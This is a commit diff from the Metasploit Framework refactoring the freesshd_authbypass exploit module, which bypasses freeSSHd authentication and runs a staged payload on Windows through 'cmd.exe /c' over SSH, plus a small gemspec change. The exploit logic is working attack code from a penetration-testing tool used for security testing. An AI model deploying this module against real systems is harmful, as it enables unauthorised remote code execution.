Land rapid7#8095, CmdStager fix for freesshd_authbypass

Author: wvu

metasploit-framework.gemspec

@@ -2,7 +2,7 @@
 
 # During build, the Gemfile is temporarily moved and
 # we must manually define the project root
-if ENV['MSF_ROOT']
+if ENV['MSF_ROOT'] || ENV['RAILS_ENV']
   lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
   files = `git ls-files`.split($/).reject { |file|
     file =~ /^documentation|^data\/gui|^external/

modules/exploits/windows/ssh/freesshd_authbypass.rb

@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::Tcp
-  include Msf::Exploit::EXE
+  include Msf::Exploit::CmdStager
 
   def initialize(info={})
     super(update_info(info,
@@ -80,24 +80,8 @@ def check
   end
 
 
-  def upload_payload(connection)
-    exe = generate_payload_exe
-    filename = rand_text_alpha(8) + ".exe"
-    cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
-    opts = {
-      :linemax => 1700,
-      :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
-    }
-
-    cmds = cmdstager.generate(opts)
-
-    if (cmds.nil? or cmds.length < 1)
-      print_error("The command stager could not be generated")
-      raise ArgumentError
-    end
-    cmds.each { |cmd|
-      connection.exec!("cmd.exe /c "+cmd)
-    }
+  def execute_command(cmd, opts = {})
+    @connection.exec!("cmd.exe /c "+cmd)
   end
 
   def setup_ssh_options
@@ -167,18 +151,17 @@ def exploit
 
     options = setup_ssh_options
 
-    connection = nil
+    @connection = nil
 
     each_user do |username|
       next if username.empty?
-      connection=do_login(username,options)
-      break if connection
+      @connection=do_login(username,options)
+      break if @connection
     end
 
-    if connection
+    if @connection
       print_status("Uploading payload, this may take several minutes...")
-      upload_payload(connection)
-      handler
+      execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
     end
   end